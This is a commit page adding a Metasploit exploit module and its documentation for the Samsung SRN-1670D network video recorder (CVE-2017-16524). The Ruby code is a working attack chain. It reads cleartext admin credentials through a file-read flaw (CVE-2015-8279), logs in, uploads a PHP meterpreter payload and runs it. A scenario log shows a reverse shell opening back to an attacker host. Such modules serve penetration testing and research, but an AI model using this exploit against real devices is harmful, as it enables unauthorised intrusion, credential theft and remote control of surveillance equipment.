Land #9204, Add exploit for Samsung SRN-1670D (CVE-2017-16524)
Land #9204MS-2855/keylogger-mettle-extension
commit
6510ee53bc
|
@ -0,0 +1,94 @@
|
|||
## Description
|
||||
|
||||
Samsung NVR Recorder SRN-1670D is a high performance network video recorder. An arbitrary file
|
||||
upload vulnerability was found in the Web Viewer component, which could allow an authenticated
|
||||
user to upload a PHP payload to get code exuection. The vulnerable code can be found in
|
||||
network_ssl_upload.php:
|
||||
|
||||
```php
|
||||
22 $path = "./upload/";
|
||||
23 $file = $_FILES[ "attachFile" ];
|
||||
24 $isApply = ( int )$_POST[ "is_apply" ];
|
||||
25 $isInstall = ( int )$_POST[ "isInstall" ];
|
||||
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
|
||||
27
|
||||
28 // create socket
|
||||
29 $N_message = "";
|
||||
30 $sock = mySocket_create($_is_unix_socket);
|
||||
31 $connected = mySocket_connect($_is_unix_socket, $sock);
|
||||
32
|
||||
33 $loginInfo = new loginInfo();
|
||||
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
|
||||
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
|
||||
36 if ($connected) {
|
||||
37 $id = $loginInfo->get_id();
|
||||
38 $xmlFile = $id.'_config.xml';
|
||||
39 $N_message = "dummy".nvr_command::DELIM;
|
||||
40 $N_message .= "userid ".$id.nvr_command::DELIM;
|
||||
41
|
||||
42 if ( $isInstall == 1 ) {
|
||||
43 // File upload ===============================================================
|
||||
44 if ( $file[ "error" ] 0 ) {
|
||||
45 $Error = "Error: ".$file[ "error" ];
|
||||
46 } else {
|
||||
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
|
||||
48 }
|
||||
49 // ===========================================================================
|
||||
50 }
|
||||
```
|
||||
|
||||
To avoid the need of authentication, the exploit also takes advantage of another vulnerability
|
||||
(CVE-2015-8279) in the log exporting function to read an aribtrary file from the remote machine
|
||||
in order to obtain credentials that can be used for the attack.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Samsung NVR Recorder SRN-1670D is a hardware:
|
||||
|
||||
http://www.samsungcc.com.au/cctv/ip-nvr-solution/samsung-dvr-srn-1670d
|
||||
|
||||
## Scenario
|
||||
|
||||
```
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > show options
|
||||
|
||||
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.200 yes The target address.
|
||||
RPORT 80 yes The target port (TCP).
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.122 yes The listen address
|
||||
LPORT 4358 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Samsung SRN-1670D == 1.0.0.193
|
||||
|
||||
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.122:4358
|
||||
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
|
||||
[+] Credentials obtained successfully: admin:pass123!
|
||||
[*] Logging...
|
||||
[+] Authentication Succeeded
|
||||
[*] Generating payload[ eRdGKfFJ.php ]...
|
||||
[*] Uploading payload...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (33986 bytes) to 192.168.1.200
|
||||
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
|
||||
```
|
|
@ -0,0 +1,209 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'digest'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an unrestricted file upload vulnerability in
|
||||
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file
|
||||
allows remote authenticated attackers to upload and execute arbitrary
|
||||
PHP code via a filename with a .php extension, which is then accessed via a
|
||||
direct request to the file in the upload/ directory.
|
||||
|
||||
To authenticate for this attack, one can obtain web-interface credentials
|
||||
in cleartext by leveraging the existing local file read vulnerability
|
||||
referenced by CVE-2015-8279, which allows remote attackers to read the
|
||||
web interface credentials by sending a request to:
|
||||
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF
|
||||
'Realistic Security',
|
||||
'Algeria'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-16524' ],
|
||||
[ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
|
||||
[ 'CVE', '2015-8279' ],
|
||||
[ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
['Samsung SRN-1670D 1.0.0.193', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 14 2017'
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
vprint_status('Checking version...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => "/index",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless resp
|
||||
vprint_error('Connection timed out.')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
# File Version 1.0.0.193
|
||||
version = nil
|
||||
if resp && resp.code == 200 && resp.body.match(/Web Viewer for Samsung NVR/)
|
||||
if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
|
||||
version = $1
|
||||
if version == '1.0.0.193'
|
||||
vprint_good "Found vesrion: #{version}"
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Obtaining credentails...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => '/cslog_export.php',
|
||||
'method' => 'GET',
|
||||
'vars_get' =>
|
||||
{
|
||||
'path' => '/root/php_modules/lighttpd/sbin/userpw',
|
||||
'file' => 'foo'
|
||||
}
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error('Connection timed out.')
|
||||
return
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
|
||||
username = resp.body.split(':')[0]
|
||||
password = resp.body.split(':')[1].gsub("\n",'')
|
||||
print_good "Credentials obtained successfully: #{username}:#{password}"
|
||||
|
||||
data1 = Rex::Text.encode_base64("#{username}")
|
||||
data2 = Digest::SHA256.hexdigest("#{password}")
|
||||
|
||||
randfloat = Random.new
|
||||
data3 = randfloat.rand(0.9)
|
||||
data4 = data3
|
||||
|
||||
print_status('Logging...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => '/login',
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'data1' => data1,
|
||||
'data2' => data2,
|
||||
'data3' => data3,
|
||||
'data4' => data4
|
||||
},
|
||||
'headers' =>
|
||||
{
|
||||
'DNT' => '1',
|
||||
'Cookie' => 'IESEVEN=1'
|
||||
}
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error("Connection timed out.")
|
||||
return
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body !~ /ID incorrecte/ && resp.body =~ /setCookie\('NVR_DATA1/
|
||||
print_good('Authentication Succeeded')
|
||||
|
||||
nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
|
||||
nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
|
||||
nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
|
||||
nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
|
||||
nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
|
||||
nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
|
||||
nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
|
||||
|
||||
cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
|
||||
|
||||
payload_name = "#{rand_text_alpha(8)}.php"
|
||||
|
||||
print_status("Generating payload[ #{payload_name} ]...")
|
||||
|
||||
php_payload = get_write_exec_payload(unlink_self: true)
|
||||
|
||||
print_status('Uploading payload...')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('2', nil, nil, 'form-data; name="is_apply"')
|
||||
data.add_part('1', nil, nil, 'form-data; name="isInstall"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="isCertFlag"')
|
||||
data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => normalize_uri('/network_ssl_upload.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' =>
|
||||
{
|
||||
'lang' => 'en'
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => cookie,
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error('Connection timed out.')
|
||||
return
|
||||
end
|
||||
|
||||
if resp and resp.code == 200
|
||||
print_status('Executing payload...')
|
||||
upload_uri = normalize_uri("/upload/#{payload_name}")
|
||||
resp = send_request_cgi({
|
||||
'uri' => upload_uri,
|
||||
'method' => 'GET'
|
||||
}, 5)
|
||||
|
||||
unless resp
|
||||
print_error("Connection timed out.")
|
||||
return
|
||||
end
|
||||
|
||||
if resp and resp.code != 200
|
||||
print_error("Failed to upload")
|
||||
end
|
||||
else
|
||||
print_error("Failed to upload")
|
||||
end
|
||||
else
|
||||
print_error("Authentication failed")
|
||||
end
|
||||
else
|
||||
print_error "Error obtaining credentails"
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue